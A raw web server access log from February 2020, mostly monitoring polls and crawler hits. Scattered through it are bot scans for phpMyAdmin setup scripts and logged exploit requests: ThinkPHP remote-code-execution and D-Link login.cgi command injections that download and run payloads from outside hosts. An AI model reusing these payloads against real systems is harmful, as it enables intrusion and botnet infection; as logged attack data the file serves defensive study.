80.211.86.25 - - [16/Feb/2020:10:51:43 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:43 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:43 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:43 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:43 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:43 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:43 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:43 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:43 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:43 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:43 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:43 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:43 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:43 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:43 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:43 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:44 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:44 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:44 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:44 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:44 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:44 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:44 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:44 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:44 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:44 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:44 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
212.91.246.72 - - [16/Feb/2020:10:51:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [16/Feb/2020:10:51:59 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [16/Feb/2020:10:52:00 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [16/Feb/2020:10:52:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:10:53:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:10:54:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:10:55:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:10:56:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:10:57:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:10:58:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:10:59:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:00:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:01:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:02:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:03:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:04:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.51.22.171 - - [16/Feb/2020:11:05:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:11:05:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.36.148.192 - - [16/Feb/2020:11:06:09 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
81.24.119.68 - - [16/Feb/2020:11:06:28 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [16/Feb/2020:11:06:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:07:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:08:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:09:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.94 - - [16/Feb/2020:11:10:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [16/Feb/2020:11:10:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:11:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.110.40.29 - - [16/Feb/2020:11:12:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:11:12:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:13:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.79.78.40 - - [16/Feb/2020:11:14:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [16/Feb/2020:11:14:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:15:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.94 - - [16/Feb/2020:11:16:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [16/Feb/2020:11:16:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:17:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:18:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:19:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.230.94.87 - - [16/Feb/2020:11:19:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:11:20:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.94 - - [16/Feb/2020:11:20:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [16/Feb/2020:11:21:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:22:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:23:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:24:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:25:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.215.133.116 - - [16/Feb/2020:11:26:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
5.251.7.103 - - [16/Feb/2020:11:26:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:11:26:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:27:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.226.25.182 - - [16/Feb/2020:11:28:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [16/Feb/2020:11:28:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.226.25.182 - - [16/Feb/2020:11:28:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
151.226.25.182 - - [16/Feb/2020:11:29:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [16/Feb/2020:11:29:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:30:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.26.154.92 - - [16/Feb/2020:11:31:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:11:31:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:32:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:33:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:34:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:35:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.92.188.123 - - [16/Feb/2020:11:36:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:11:36:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:37:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:38:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:39:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:40:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:41:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:42:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:43:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:44:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:45:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:46:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:47:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:48:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:49:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:50:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:51:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.92.188.123 - - [16/Feb/2020:11:52:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:11:52:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:53:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:54:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.164.244.166 - - [16/Feb/2020:11:55:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [16/Feb/2020:11:55:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:56:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:57:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:11:58:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.44.176.6 - - [16/Feb/2020:11:59:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [16/Feb/2020:11:59:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:00:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:01:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:02:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.197.27.4 - - [16/Feb/2020:12:03:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:12:03:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.102.25.125 - - [16/Feb/2020:12:04:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:12:04:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.173.224.85 - - [16/Feb/2020:12:05:04 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
176.97.190.248 - - [16/Feb/2020:12:05:48 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:12:05:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:06:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:07:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:08:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:09:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.79.78.40 - - [16/Feb/2020:12:10:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [16/Feb/2020:12:10:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:11:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:12:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:13:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:14:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:15:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:16:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:17:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:18:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:19:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:20:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:21:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:22:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:23:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:24:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:25:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:26:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:27:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
167.60.35.125 - - [16/Feb/2020:12:28:37 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [16/Feb/2020:12:28:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:29:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:30:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:12:31:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.180.208.154 - - [16/Feb/2020:12:31:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [16/Feb/2020:12:32:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [16/Feb/2020:12:32:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
